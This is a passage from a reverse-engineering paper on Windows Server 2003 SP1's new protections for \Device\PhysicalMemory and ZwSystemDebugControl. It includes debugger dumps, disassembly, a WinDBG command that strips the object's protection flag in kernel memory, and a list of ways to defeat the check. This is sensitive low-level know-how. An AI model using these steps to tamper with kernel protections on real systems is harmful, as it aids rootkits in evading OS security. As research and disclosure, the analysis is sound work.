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Chapter 1 

 
Foreword 
 
 
Abstract: Windows 2003 Service Pack 1 introduces new features in to 
the kernel which protect against previous methods of accessing kernel 
memory from user mode without the usage of a driver. For example, 
both the usage of the \Device\PhysicalMemory section as well as of the 
ZwSystemDebugControl APIs has now been completely blocked, meaning 
that editing kernel memory through physical addresses, installing a 
callgate or using IDT modifications are not possible methods of violating 
the ring privilege level. Unfortunately, it is the author’s belief that many 
legitimate applications need access to physical memory from user-mode, 
without the intent of accessing kernel mode memory. Such applications, 
for example, might need to map the BIOS/Video ROM, or access ACPI 
tables. This paper will detail a method of bypassing one of these new 
security measures, to give physical access back to user mode applications 
as well as re-enabling ZwSystemDebugControl, by relying on a previously 
undiscovered flaw in Windows, accessible to administrators. A simple 
solution to this flaw will also be given. As well, this paper will shed light 
into the new Win32 APIs exposed in Windows 2003 Service Pack 1 and 
above, EnumSystemFirmwareTables and GetSystemFirmwareTable, in 
order to provide hardware manufacturers with a possible way to restore 
lost functionality of user-mode diagnostic or other programs which 
accessed device-specific physical memory.  
 
Credits: Thanks go out to wtbw, hackbunny, skywing, Jason Geffner, 
and the developers of TinyKRNL project.  
 
Disclaimer: The subject matter discussed in this document is prese nted 
in the interest of education. The author cannot be held responsible for 
how the information is used. The code presented in this paper deals with 
low-level system patching, and there is always the off-chance possibility 
of system, data or disk corruption. Although the author has made a best 
attempt at protecting the code from unexpected system states, a system 
wide crash remains possible.  
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Chapter 2 

 
Introduction 

 

One of the core features found in the vast majority of CPUs these days is 
the ability for different pieces of code to run at different “Code Privilege 
Levels”, or CPLs, also called “Rings”, in which various processor features 
can be disabled, and which can be assigned to entries in the GDT in 
order to protect and isolate virtual memory. This model is at the 
centerfold of how most advanced kernels protect and define kernel space 
from user space.  
 
While x86 CPUs offer 4 different rings (0 to 3), modern kernels such as 
Linux or NT only use Ring 0 (Kernel Mode) and Ring 3 (User Mode). 
This allows them to protect kernel memory from applications by using a 
simple, built-in CPU feature. In turn, this protection allows any 
application crash, no matter how bad, to remain limited to the user mode 
part of the OS, and not crash the entire kernel.  
 
Additionally, because most modern operating systems also make use of 
the segmented memory model, user mode applications are limited to their 
own memory space, and they cannot even corrupt memory in another 
application (unless going through exposed APIs in the kernel, if 
provided). However, the kernel has access to the memory space of any 
application, as well as directly to the physical memory. This ringed 
model also allows the kernel to offer security services and authentication, 
without the fear of an application corrupting or modifying security 
checks. For this reason, even under an administrative or root account, 
modifying kernel memory is usually prohibited. This is most especially 
important in Windows, which is usually used under the administrative 
account at all times by users. If access to kernel memory was allowed, an 
exploit could take control over the system in a much more insidious way.  
 
With the prevalence of NT Kernel rootkits and research in the last few 
years, Microsoft has taken some new steps in its latest kernels, starting 
with Windows 2003 Service Pack 1, to completely protect kernel mode 
memory from user mode. Although, as mentioned before, this is typically 
already protected, there existed two easy methods to subvert this 
protection. The first one involved the fact that since the NT kernel is on 
a large page for system optimization (to reduce page table lookups), it is 
extremely easy to “guess” the physical address of a kernel-mode virtual 
address within this page by using the following mask: 
 
ULONG_PTR 
GetPhysicalAddress(IN ULONG_PTR VirtualAddress) 
{ 

return (VirtualAddress & 0x1FFFFFFF); 
} 
 
Once the physical address has been obtained, a user with administrative 
privileges can use NT’s \Device\PhysicalMemory mapped memory 
section, which is similar to Linux’s dev/mem. Access to this section from 
user-mode is one of the first “flaws” which has been used to subvert Ring 
protection. A variety of solutions exist for escalating the CPL, the most 
popular being modification of the IDT table to add a user-mode interrupt 
running in Ring 0, or the modification of the GDT table in order to add 
a callgate. Even though this is only possible as an administrator, rootkits 
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which executed on user’s computers were able to covertly make these 
modifications once installed, without needing to load a driver, which 
would raise some flags in recent security software and/or left visible 
traces on the system. Actual code using the \Device\PhysicalMemory 
section for ring level elevation is beyond the scope of this paper, but it  
can be seen both in Phrack Magazine as well as in the Jedi Library. 
 
Unfortunately, access to this section was also critical to a number of 
system information software, which took advantage of it to read 
information such as the ACPI tables, the BIOS ROM, the Video ROM, 
and other firmware tables. To resolve this, Microsoft created new APIs 
such as GetSystemFirmwareTable. However,  since this API only exists 
on Windows 2003 SP1 and Vista, it means that software which wants to 
remain backwards-compatible must now implement both of these 
methods, complicating the code and increasing testing time. Additionally, 
these new APIs only allow access to a limited set of known data, and not 
potentially any hardware-dependent private ranges known to a 
manufacturer, for example. 
 
Although this method existed since NT 4 (and possibly earlier), it 
required editing the ACL for the object in order to grant administrators 
Read/Write access, or elevating to the Local System account.  It also 
quickly became an easy target for most intrusion detection systems, 
driver-based antivirus programs, and other protection/detection utilities. 
Fortunately for malware writers, Microsoft delivered an entire new API 
in Windows XP, which gave any user with the SeDebugPrivilege  the 
ability not only to edit kernel memory, but also to edit MSRs (private 
machine registers inside a CPU), access I/O ports, access the bus 
configuration space, and more.  
 
By simply calling ZwSystemDebugControl with the right System Debug 
Command, the caller could perform any of these operations, without 
worrying about ACLs or converting to physical memory addresses.  Since 
this was published as an official flaw/exploit (which the author disagrees 
with, as did most of the security community, later on), Microsoft made a 
statement about this, noting that access to the API is limited to 
administrative users who perform an API call necessary to gain the 
SeDebugPrivilege privilege. It was said that since this privilege is 
considered one of the highest that a running application can acquire, it 
was designed to allow such modification of kernel-memory, since a user 
with the ability to get this privilege could also very well load a driver 
into kernel mode.  
 
Although this is true, the author believed that since most of Windows 
users run as administrators, this basically meant that any program on 
NT could now touch kernel mode memory with a single API. This clearly 
violates the basic security and reliability features of the OS, since it 
made it possible for applications to hook APIs, both for malicious and 
valid reasons, and a lot easier to corrupt critical data. Access to the 
MSRs and Bus Address/Configuration Space even meant that a badly 
coded user mode application which merely wanted to obtain some low-
level system data could cause permanent hardware damage, by accident.  
 
Finally, in Windows Server 2003 SP1, and 64-bit editions of Windows 
XP, Microsoft listened, no doubt pressured by the multitude of rootkits 
which were now appearing and being freely shared as open code, as well 
as infecting user’s computers, due to their default administrative logon. 
On these newer kernels, it has become impossible to use any of the two 
methods described above, thereby closing any loophole which allowed 
violating the privilege level design. Note that loading a driver is still of 
course possible, but drivers execute in kernel mode, not user mode, which 
maintains the integrity of this design. Notwithstanding any previously 
undiscovered bug in kernel mode validation, it was now impossible to 
touch kernel mode as a mere application. 
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Chapter 3 
 
Implementation 

 

This section of the paper will discuss the new methods through which 
previous functionality to access kernel memory from user mode has been 
removed. These methods apply at the time of writing of this paper, and 
might be changed in future revisions of the Vista kernel. 
 
As mentioned earlier, the two new methods in the 64-bit versions of 
Windows XP and also 32-bit versions of Windows 2003 SP1 and above 
contain two set of protections to protect kernel mode memory from user-
mode access. The first is to disable access to \Device\Physical memory 
from user mode, and the second is to modify the ZwSystemDebugControl 
API to disable user mode applications from using it.  
 
This section of the paper will discuss the implementation of these 
protections in more detail, as well as present the reader with replacement 
approaches which Microsoft implemented in order to allow legitimate use 
of the old functionality. 
 

3.1 Protecting \Device\PhysicalMemory 
 
Old approaches to using the \Device\PhysicalMemory section usually 
rely on the fact that the handle can be opened with a WRITE_DAC and 
READ_CONTROL access mask, giving any administrative user the option to 
read and write the current ACL, which gives permissions only to the 
SYSTEM account. Once the ACL is saved and written back, the handle 
can be opened with SECTION_ALL_ACCESS and be used.  
 
Another possibility is to simply have the program execute under the 
SYSTEM account, which already has full R/W access to the section, and 
can directly open a handle. This would require either using a service, or 
impersonating the token, which is possible from an administrative 
account, as this paper will show later.  
 
Unfortunately, both these methods fail in Windows 2003 SP1; even the 
lowest possible access mask is refused. Attempting to use WinObjEx or 
WinObj to examine the object in its namespace is also impossible, 
revealing a message saying “Access Denied”. Furthermore, upon viewing 
the Object Header with WinDBG, the Security Descriptor and the 
Object Flags for the section were exactly the same as in Windows XP. 
The protection was definitely not ACL-managed. 
 
For reference, here are the Security Descriptors on both Windows 
versions and how to obtain them. Readers unfamiliar with how security 
descriptors and ACLs fit in with Windows security are invited to take a 
quick look at Chapter 4, which provides a quick primer. We start off 
with the example for Windows XP. The first step is to use the !object 
command in order to get the OBJECT_HEADER pointer, in this case 
located at 0xe1003ca8. 
 
lkd>!object \Device\PhysicalMemory 
Object: e1003cc0  Type: (825bf040) Section 
    ObjectHeader: e1003ca8 
    HandleCount: 0  PointerCount: 2 
    Directory Object: e1011608  Name: PhysicalMemory 
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Once we’ve obtained it, we can use the dt command, along with the 
structure’s name and the pointer where it’s located, and WinDBG will 
dump out the type for us.  
 
lkd> dt _OBJECT_HEADER e1003ca8 
   +0x000 PointerCount     : 2 
   +0x004 HandleCount      : 0 
   +0x004 NextToFree       : (null)  
   +0x008 Type             : 0x825bf040 _OBJECT_TYPE 
   +0x00c NameInfoOffset   : 0x10 '' 
   +0x00d HandleInfoOffset : 0 '' 
   +0x00e QuotaInfoOffset  : 0 '' 
   +0x00f Flags            : 0x32 '2' 
   +0x010 ObjectCreateInfo : 0x00000001 _OBJECT_CREATE_INFORMATION 
   +0x010 QuotaBlockCharged : 0x00000001  
   +0x014 SecurityDescriptor : 0xe100f701  
   +0x018 Body             : _QUAD 
 
The next part is a bit trickier, and requires knowing that the Security 
Descriptor pointer is actually biased through a kernel mechanism called 
Fast Referencing, which allows pointers to be attached to reference 
counts. The exact implementation details are beyond the scope of this 
article, but what must usually be done is to simply manually unbias the 
pointer, to get the aligned pointer back. Once that is done, the !sd 
command will display the security descriptor.  
 
lkd>dt _EX_FAST_REF e1003ca8+0x14 
   +0x000 Object           : 0xe100f701  
   +0x000 RefCnt           : 0y001 
 
lkd>!sd 0xe100f701 - 0x1 
->Revision: 0x1 
->Sbz1    : 0x0 
->Control : 0x8004 
            SE_DACL_PRESENT 
            SE_SELF_RELATIVE 
->Owner   : S-1-5-32-544 
->Group   : S-1-5-18 
->Dacl    :  
->Dacl    : ->AclRevision: 0x2 
->Dacl    : ->Sbz1       : 0x0 
->Dacl    : ->AclSize    : 0x44 
->Dacl    : ->AceCount   : 0x2 
->Dacl    : ->Sbz2       : 0x0 
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE 
->Dacl    : ->Ace[0]: ->AceFlags: 0x0 
->Dacl    : ->Ace[0]: ->AceSize: 0x14 
->Dacl    : ->Ace[0]: ->Mask : 0x000f001f 
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 
 
->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE 
->Dacl    : ->Ace[1]: ->AceFlags: 0x0 
->Dacl    : ->Ace[1]: ->AceSize: 0x18 
->Dacl    : ->Ace[1]: ->Mask : 0x0002000d 
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 
 
->Sacl    :  is NULL 
 

This security descriptor tells us of the two permissions currently being 
enforced. Ace[0] is the LOCAL SYSTEM account, which has an access mask 
of 0xF001F (SECTION_ALL_ACCESS), while Ace[1] is the Administrators 
group account, which has SECTION_READ_ACCESS plus other flags (Such 
as READ_CONTROL and WRITE_DAC). Now let’s look at the Windows 2003 
SP1 Security Descriptor for the object, skipping the same steps that 
we’ve just done above: 
 
lkd>!sd 0xe10067cb - 3 
->Revision: 0x1 
->Sbz1    : 0x0 
->Control : 0x8004 
            SE_DACL_PRESENT 
            SE_SELF_RELATIVE 
->Owner   : S-1-5-32-544 
->Group   : S-1-5-18 
->Dacl    :  
->Dacl    : ->AclRevision: 0x2 
->Dacl    : ->Sbz1       : 0x0 
->Dacl    : ->AclSize    : 0x3c 
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->Dacl    : ->AceCount   : 0x2 
->Dacl    : ->Sbz2       : 0x0 
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE 
->Dacl    : ->Ace[0]: ->AceFlags: 0x0 
->Dacl    : ->Ace[0]: ->AceSize: 0x14 
->Dacl    : ->Ace[0]: ->Mask : 0x000f001f 
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 
 
->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE 
->Dacl    : ->Ace[1]: ->AceFlags: 0x0 
->Dacl    : ->Ace[1]: ->AceSize: 0x18 
->Dacl    : ->Ace[1]: ->Mask : 0x0002000d 
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 
 
->Sacl    :  is NULL 

 
The permissions are identical, and the fact that we can’t even access the 
object under the SYSTEM account only points towards a more internal 
protection. 
 

3.1.1 Object Attributes at Creation 
 
The first hint that something had changed is clearly visible to the 
trained eye inside the MiSessionInitialization function, which is 
responsible for creating the \Device\PhysicalMemory section. In it, 
we find the following piece of code:  
 
lea  eax, [ebp+ObjectAttributes] 
push eax                     ; ObjectAttributes 
push ds:_MmSectionObjectType ; ObjectType 
mov  [ebp+Name],             "\\Device\\PhysicalMemory" 
push ebx                     ; PreviousMode 
mov  [ebp+ObjectAttributes.Length], 18h 
mov  [ebp+ObjectAttributes.RootDirectory], ebx 
mov  [ebp+ObjectAttributes.Attributes], 10010h 
mov  [ebp+ObjectAttributes.SecurityDescriptor], ebx 
mov  [ebp+ObjectAttributes.SecurityQualityOfService], ebx 
call _ObCreateObject@36 

 
The attributes being set inside the Object Attributes structure should 
immediately strike the reader as an abnormally high number: 0x10000 
seems to be part of the mask. A quick look in the latest ntdef.h file, 
released in the most recent WDK reveals that the highest flag is 
0x400, and there is even a definition called OBJ_VALID_FLAGS which is 
set as 0x7F2. This seemingly magic undocumented flag definitely 
became a prime candidate for what could be the protection for this 
object. 
 
Typically, the attribute flags which are documented in the ntdef.h 
header are later internally parsed by the Object Manager and turned 
into different constants, which are then later used internally. The 
attributes can be seen with WinDBG when using the command 
!obja, followed by the pointer to an OBJECT_HEADER structure. 
However, as mentioned earlier, the OBJECT_HEADER for the Windows 
2003 SP1\Device\PhysicalMemory object did not reveal any unusual 
flags that were not present in Windows XP. This led the author to 
believe that this flag was behind purposely hidden away somewhere 
else.  
 
The next step was to locate the code responsible for converting this 
undocumented 0x10000 flag into an internal variable or flag which the 
Object Manager then used to protect the object. Since in previous 
Windows versions, the conversion between public and internal flags 
was done in ObpAllocateObject, this is where the research was 
pursued in. 
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3.1.2 Kernel Mode Object Header Flag 
 
The ObpAllocateObject function takes as one of its parameters a 
structure containing the captured attributes coming from user mode, 
which can be obtained in WinDBG by using the dt command with 
the OBJECT_CREATE_INFORMATION structure. The first member of this 
structure is the Attributes value, which contains the as of yet 
unconverted attributes that were initialized with the macro 
InitializeObjectAttributes. While reading through the 
disassembly and comparing with previous Windows versions, a new 
check was seen, which was only being done in kernel mode: 
 
cmp [ebp+PreviousMode], 0 
mov edx, [ebp+ObjectCreateInformation] 
mov [esi+8], ecx 
mov dword ptr [esi+0Ch], 1 
jnz short IsUserModeOrNoCreateInfoOrNoMagicFlag 
test edx, edx 
jz short IsUserModeOrNoCreateInfoOrNoMagicFlag 
test [edx+OBJECT_CREATE_INFORMATION.Attributes+2], 1 
jz short IsUserModeOrNoCreateInfoOrNoMagicFlag 
mov [esi+OBJECT_HEADER_NAME_INFO.QueryReferences],40000001h 
 
IsUserModeOrNoCreateInfoOrNoMagicFlag: 
add esi, 18h 

 
The most interesting line, of course, is the last validation check, which 
checks if the 3rd byte of the attributes member can be masked by 0x1. 
In other words, it checks if the attributes member contains the mask 
0x10000, which just happens to be the magic value we discovered 
earlier. If this check succeeds, an unusual value of 0x40000001 is 
then stored in the OBJECT_HEADER’s Name Information structure, part 
of a member called “QueryReferences”, which does not have a very 
descriptive name.  
 
This definitely seemed to be the internal value the kernel used to 
protect the object, but just as in science, theories must be proven 
through experiments. After opening WinDBG on a local kernel 
connection, the author dumped the OBJECT_HEADER_NAME_INFO of the 
\Device\PhysicalMemory object. Recall that to get to these header-
bound structures, one must read the offset variable stored in the 
OBJECT_HEADER itself, and then subtract the value. In our case, the 
NameInfoOffset was 0x10 (see the header dump two pages earlier), 
so the proper command is:  
 
lkd> dt e1001960-10 nt!_OBJECT_HEADER_NAME_INFO 
   +0x000 Directory        : 0xe1007920 _OBJECT_DIRECTORY 
   +0x004 Name             : _UNICODE_STRING "PhysicalMemory" 
   +0x00c QueryReferences  : 0x40000001 

 
Unremarkably, we find the 0x40000001 value that we had seen 
earlier. While reading the continuation of the ObpAllocateObject 
code, as well as analyzing other OBJECT_HEADER structures, the author 
determined that the actual flag being added was 0x40000000; all 
other objects had at least the 0x1 flag set by default. As such, the flag 
was masked out with the following command: 
 
lkd> ed e1001960-10+c 0x1 

 
The result being that the new QueryReferences value was now 
simply 0x1. WinObjEx was then used to double-click on the object in 
an attempt to view the object’s properties, which failed before. As you 
can see below, the experiment proved a success, as the utility was able 
to open a handle and query information from the object.  
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Since we now know where this flag is set and what it means, the next 
step is to figure out where the actual access check is done. With those 
three variables found, we will have three attack vectors in bypassing 
this security: 1) editing the flag in memory 2) disabling the code 
setting the flag 3) disabling the code checking for the flag. Assuming 
of course, that we had a way to touch kernel memory in the first 
place, which is what we will discuss later. 

 
3.1.3 Functions & Operations Protected 
 
To discover why our attempts at opening a handle have been failing, 
one method is to use conditional breakpoints and find out when one of 
the register values is equal to 0xC0000022, which is the NTSTATUS 
code that we receive. One such place, logically, is in the function 
ObpIncrementHandleCount, which is responsible for performing the 
last steps in handle creation (after quotas and most of the security 
checks have been done) by calling ExCreateHandle. A new check, not 
present in older Windows versions, clearly checks for our magic flag: 
 
cmp     [ebp+AccessMode], 0 
jz      short KernelMode 
mov     al, [ebx+OBJECT_HEADER.NameInfoOffset] 
test    al, al 
jz      short NoNameInfo 
movzx   ecx, al 
mov     eax, ebx 
sub     eax, ecx 
cmp     eax, esi 
jz      short FlagNotSet 
test    [eax+OBJECT_HEADER_NAME_INFO.QueryReferences+3],40h 
jz      short FlagNotSet 
xor     eax, eax 
inc     eax 
jmp     short CheckEaxValue 
 
CheckEaxValue: 
cmp     eax, esi 
jnz     short DenyAccess 
 
DenyAccess: 
mov     [ebp+AccessStatus], 0C0000022h 
jmp     Return 
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This somewhat lengthy piece of code looks this complicated because of 
optimizations, but what happens is simply that the OBJECT_HEADER is 
checked for a value NameInfoOffset. If one exists, then the pointer is 
verified, and then the highest byte of QueryReferences is read. If it 
can be masked with 0x40, meaning that the entire QueryReferences  
value can be masked with 0x40000000 (recall that this is our magic 
flag), then the attempt to open a handle fails with the 0xC00000022 
status code. Note that this check is only performed in user mode, 
since this mechanism’s raison-d’etre is to make certain objects 
completely untouchable from user mode.  
 
Two important things can be appreciated through our research until 
now. The first is that thankfully, Microsoft was wise in not trusting 
“security through obscurity” too much, and ObpAllocateObject only 
adds this magic flag if it’s being set from kernel mode. The lack of 
such a check would mean that any user capable of creating objects 
(including guest users) could add this flag and create objects which  
would then be untouchable from user mode. One example is a process; 
using the 0x10000 flag, it would become impossible to terminate it 
using task manager, since a handle to terminate it could never be 
obtained. 
 
The second thing that is noticeable is that the check in 
ObpIncrementHandleCount is absolute; there is no additional flag to 
bypass it, apart from the previous mode to be kernel, which cannot be 
something that user mode can modify. This means that the only way 
in which this protection can be bypassed is to discover an as of yet 
undiscovered flaw in Windows, which would allow us to touch kernel 
memory from user mode.  
 
Finally, let us mention that since this flag is tied to the 
OBJECT_HEADER_NAME_INFO structure, only named objects can benefit 
from this protection. This is also proven by the fact that no such 
check exists in ObpIncrementUnnamedHandleCount, which handles 
unnamed objects. This makes sense from an implementation 
perspective, since only named objects can be referenced from user 
mode anyway.  
 

 
3.1.4 Legitimate Use Alternative Solutions 
 
Because Microsoft realized the grave danger of breaking a multitude 
of user mode applications which depended on being able to access 
\Device\PhysicalMemory in order to read Firmware Tables, such as 
ACPI or SMBIOS, two new APIs were exposed to user mode, which 
allow application to continue being able to read this data. The first 
API is called EnumSystemFirmwareTables, and supports three types 
of tables: ACPI Tables, SMBIOS Tables and RAW Tables. The latter 
refers to non-standard tables located in low physical memory. The 
purpose of this API is to list all the available ACPI tables and RAW 
Tables which can be later read with the second API. Although RAW 
Tables might seem like a good way to read physical memory, they are 
currently hard-coded only to support the memory ranges 0xC0000-
0xDFFFF and 0xE0000 to 0xFFFFF.  
 
The second API is called GetSystemFirmwareTable, and it can be 
called with the same table type as the former. However, instead of 
enumerating possible identifies, this time the caller gets to specify it, 
and the system will return the table. The table is not memory 
mapped as a physical section, but is instead returned in a caller 
allocated pointer. Among other things, this means that the memory 
returned is only readable, not writable. Secondly, because this buffer 
is a copy, and not a direct mapping, it means that applications which 
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relied on being able to simply poll the new value every clock tick must 
now call this API in a loop, in order to constantly keep their local 
buffer updated.  
 
Apart from losing write support and polling support, another 
disadvantage of these new APIs is that they require programmers to 
have two codepaths to handle both previous and older operating 
systems. This, for the moment, requires dedicated Vista or Windows 
Server 2003 SP1 machines in order for proper testing, which either 
require a significant investment for a server license, or participation in 
the Vista beta program. 
 
Finally, although the RAW Table support is supposed to allow non-
standardized hardware tables to be read from physical memory, it is 
currently hardcoded only to support the typical ROM Addresses 
found on x86 PCs. Developers of alternative hardware solutions which 
might use different addresses are left in the dark. Additionally, the 
exposed APIs are only documented for the Win32 subsystem. 
Although driver developers can still use the \Device\PhysicalMemory  
section, writers of native programs are not provided with an alternate 
solution. For this reason, the author decided to take a quick look in 
the implementation of these APIs.  
 
Enumeration and retrieval of these firmware tables seem to be 
handled by the same native API, which should be a well known 
favorite: NtQuerySystemInformation. The class to use here is 76, or 
SystemFirmwareTableInformation, with the following structure:  
 
typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION 
{ 
     ULONG ProviderSignature; 
   SYSTEM_FIRMWARE_TABLE_ACTION Action; 
   ULONG TableID; 
   ULONG TableBufferLength; 
   UCHAR TableBuffer[1]; 
} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION; 

 
As mentioned previously, both retrieval and enumeration are handled 
through the same class, and this is where the Action member comes 
in, supporting both modes:  
 
typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION 
{ 
    SystemFirmwareTable_Enumerate = 0, 
    SystemFirmwareTable_Get = 1, 
} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION; 

 
The currently valid table IDs and provider signatures are documented 
on MSDN when browsing the documentation for the Win32 APIs, so 
they will not be duplicated here.  
 
During this analysis, another interesting information class came up, 
called SystemRegisterFirmwareTableInformationHandler. An 
assumption was made that this is the class through which a call to 
NtSetSystemInformation would register a handler (or provider), 
which would return the physical memory for a given table ID in the 
NtQuerySystemInformation call. This pathway has not been explored 
further in this document, but it is very probable that only a kernel 
mode caller can register a table information handler or provider. 
 
In any case, this facility would provide a solution for custom 
hardware designers to allow their user mode applications to continue 
accessing physical memory data about their devices. It is unfortunate 
that Microsoft has not decided to share this information (at least 
publically) with its partners. To register a new provider, the structure 
used is the following: 
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typedef struct _SYSTEM_FIRMWARE_TABLE_HANDLER 
{ 
    ULONG ProviderSignature; 
    BOOLEAN Register; 
    PVOID FirmwareTableHandler; 
    PVOID DriverObject; 
} SYSTEM_FIRMWARE_TABLE_HANDLER, *PSYSTEM_FIRMWARE_TABLE_HANDLER; 

 
Note that a provider can be deregistered through the same method, 
by simply setting the Register member to FALSE. The actual handler 
function simply takes a pointer to the previously documented 
SYSTEM_FIRMWARE_TABLE_INFORMATION structure, which it can then 
validate and satisfy. Currently, the RAW and SMBIOS Table 
providers are located within the kernel and part of the WMI 
subsystem which allows a similar access to these tables (as 
documented on MSDN). The reason why the 0xC0000 and 0xE0000 
addresses are hard-coded can be easily seen in the 
WmipFirmwareTableArray structure, which only contains an entry for 
these two addresses (the structure of this array is CM_ROM_BLOCK, 
which we will cover later on).  
 

3.2 Protecting ZwSystemDebugControl 
 
As if full access to kernel memory wasn’t enough, a new API appeared in 
Windows XP and later kernels which made any rootkit’s job much easier, 
ZwSystemDebugControl. As described previously, it allowed any number 
of protected operations to be done in user mode, which was previously 
impossible without the installation of a callgate or IDT hook. 
 
At the time, the power of this API was not fully understood, nor cared 
about. For starters, it took quite some time before malware writers 
publically exposed the API, and even then, the structures presented were 
incomplete, guesswork, and used complex methods to read and write to 
kernel memory (it seems the author of the first paper on it had not 
realized the much simpler methods). On top of that, usage of the API 
requires the well-known SeDebugPrivilege, which is considered one of 
the most “godly” privileges, since it gives full access to almost every part 
of the system and is only available to administrators and above. 
Therefore, the existence of the API was never a security threat per -se, at 
a time when rootkit prevalence was still low.  
 
The original reason why this API became so powerful in XP was a new 
feature which was introduced, greatly helping debugging of device drivers 
and system crashes: the local kernel debugger. Although Mark 
Russinovich’s livekd tool had allowed this in Windows 2000, Microsoft 
sought to make the capability native in WinDBG, without relying on 
making “snapshots” of the live kernel, but instead allowing direct access. 
In order to provide all the features WinDBG required, such as reading 
and writing to kernel memory, reading and writing to protected registers, 
etc, the API was expanded with new classes. 
 
Once rootkits became more popular and this method was made public, 
Microsoft was probably pressured by some of its partners to reduce the 
attack coverage of such rootkits. Having a kernel mode backdoor by 
default into every XP system was something which was not so benign 
anymore, even though only administrators could access it. As such, 
starting in Windows 2003 SP1, a new function was created, accessible 
only from kernel mode, and WinDBG now shipped with its own driver 
which called this kernel function. Using this API now relied on the 
presence of either WinDBG (which is rare), or the installation of a device 
driver (which defeats the whole purpose of staying in user mode). This 
section of the paper will analyze how the API was restricted and how it 
can be used for legitimate purposes again. 
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3.2.1 Operations Protected 
 
Let us begin our discussion by the actual operations which 
ZwSystemDebugControl (and analogously, KdSystemDebugControl 
which will be discussed in the next section) are said to support:  
 
typedef enum _SYSDBG_COMMAND 
{ 
    SysDbgQueryModuleInformation = 0, 
    SysDbgQueryTraceInformation = 1, 
    SysDbgSetTracepoint = 2, 
    SysDbgSetSpecialCall = 3, 
    SysDbgClearSpecialCalls = 4, 
    SysDbgQuerySpecialCalls = 5, 
    SysDbgBreakPoint = 6, 
    SysDbgQueryVersion = 7, 
    SysDbgReadVirtual = 8, 
    SysDbgWriteVirtual = 9, 
    SysDbgReadPhysical = 10, 
    SysDbgWritePhysical = 11, 
    SysDbgReadControlSpace = 12, 
    SysDbgWriteControlSpace = 13, 
    SysDbgReadIoSpace = 14, 
    SysDbgWriteIoSpace = 15, 
    SysDbgReadMsr = 16, 
    SysDbgWriteMsr = 17, 
    SysDbgReadBusData = 18, 
    SysDbgWriteBusData = 19, 
    SysDbgCheckLowMemory = 20, 
    SysDbgEnableKernelDebugger = 21, 
    SysDbgDisableKernelDebugger = 22, 
    SysDbgGetAutoKdEnable = 23, 
    SysDbgSetAutoKdEnable = 24, 
    SysDbgGetPrintBufferSize = 25, 
    SysDbgSetPrintBufferSize = 26, 
    SysDbgGetKdUmExceptionEnable = 27, 
    SysDbgSetKdUmExceptionEnable = 28, 
    SysDbgGetTriageDump = 29, 
    SysDbgGetKdBlockEnable = 30, 
    SysDbgSetKdBlockEnable = 31, 
    SysDbgRegisterForUmBreakInfo = 32, 
    SysDbgGetUmBreakPid = 33, 
    SysDbgClearUmBreakPid = 34, 
    SysDbgGetUmAttachPid = 35, 
    SysDbgClearUmAttachPid = 36, 
} SYSDBG_COMMAND; 

 
The SysDbgReadVirtual and SysDbgWriteVirtual are some of the 
simplest classes to deal with, and they were responsible for providing 
the easy access to kernel memory. Unfortunately, when calling the 
API on the newer kernels, the status code returned is 
STATUS_NOT_IMPLEMENTED; a strange but truthful way of the kernel 
telling the caller that this functionality is gone. In order to figure out 
which of these classes are now blocked, a disassembly of 
ZwSystemDebugControl is needed in order to reveal the failure paths:  
 
PAGE:0083E8F6 mov     eax, [ebp+Class] 
PAGE:0083E8F9 cmp     eax, 25 
PAGE:0083E8FC jg      Over25 
PAGE:0083E902 jz      Is25 
PAGE:0083E908 cmp     eax, 21 
PAGE:0083E90B jg      short Over21 
PAGE:0083E90D jz      short Is21 
PAGE:0083E90F test    eax, eax 
PAGE:0083E911 jl      InvalidClass 
PAGE:0083E917 cmp     eax, 5 
PAGE:0083E91A jle     short NotImplemented 
PAGE:0083E91C cmp     eax, 6 
PAGE:0083E91F jz      short Is6 
PAGE:0083E921 jle     InvalidClass 
PAGE:0083E927 cmp     eax, 20 
PAGE:0083E92A jg      InvalidClass 
PAGE:0083E930 
PAGE:0083E930 NotImplemented:  
PAGE:0083E930 mov     eax, 0C0000002h 
PAGE:0083E935 jmp     short loc_83E9A3 
 
... 
 
PAGE:0083E962 Over21: 
PAGE:0083E962 sub     eax, 22 
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PAGE:0083E965 jz      short Is22 
PAGE:0083E967 dec     eax 
PAGE:0083E968 jz      short Is23 
PAGE:0083E96A dec     eax 
PAGE:0083E96B jnz     InvalidClass 
 
... 
 
PAGE:0083E9DB Over25: 
PAGE:0083E9DB sub     eax, 26 
PAGE:0083E9DE jz      Is26 
PAGE:0083E9E4 dec     eax 
PAGE:0083E9E5 jz      short Is27 
PAGE:0083E9E7 dec     eax 
PAGE:0083E9E8 jz      short Is28 
PAGE:0083E9EA dec     eax 
PAGE:0083E9EB jz      NotImplemented 
PAGE:0083E9F1 dec     eax 
PAGE:0083E9F2 jz      short Is30 
PAGE:0083E9F4 dec     eax 
PAGE:0083E9F5 jz      short Is31 
PAGE:0083E9F7 
PAGE:0083E9F7 InvalidClass: 
PAGE:0083E9F7 mov     dword ptr [ebp-1Ch], 0C0000003h 
PAGE:0083E9FE jmp     short loc_83EA7B 
 

To spare you the trouble of manually reading through the assembly 
above, here is a handy table that lists the operations allowed or 
blocked, and, in the latter case, the return value that is given. 
 

System Debug Class Access NTSTATUS 
SysDbgQueryModuleInformation BLOCKED NOT_IMPLEMENTED 
SysDbgQueryTraceInformation BLOCKED NOT_IMPLEMENTED 
SysDbgSetTracepoint BLOCKED NOT_IMPLEMENTED 
SysDbgSetSpecialCall BLOCKED NOT_IMPLEMENTED 
SysDbgClearSpecialCalls BLOCKED NOT_IMPLEMENTED 
SysDbgQuerySpecialCalls BLOCKED NOT_IMPLEMENTED 
SysDbgBreakPoint ALLOWED - 
SysDbgQueryVersion BLOCKED NOT_IMPLEMENTED 
SysDbgReadVirtual BLOCKED NOT_IMPLEMENTED 
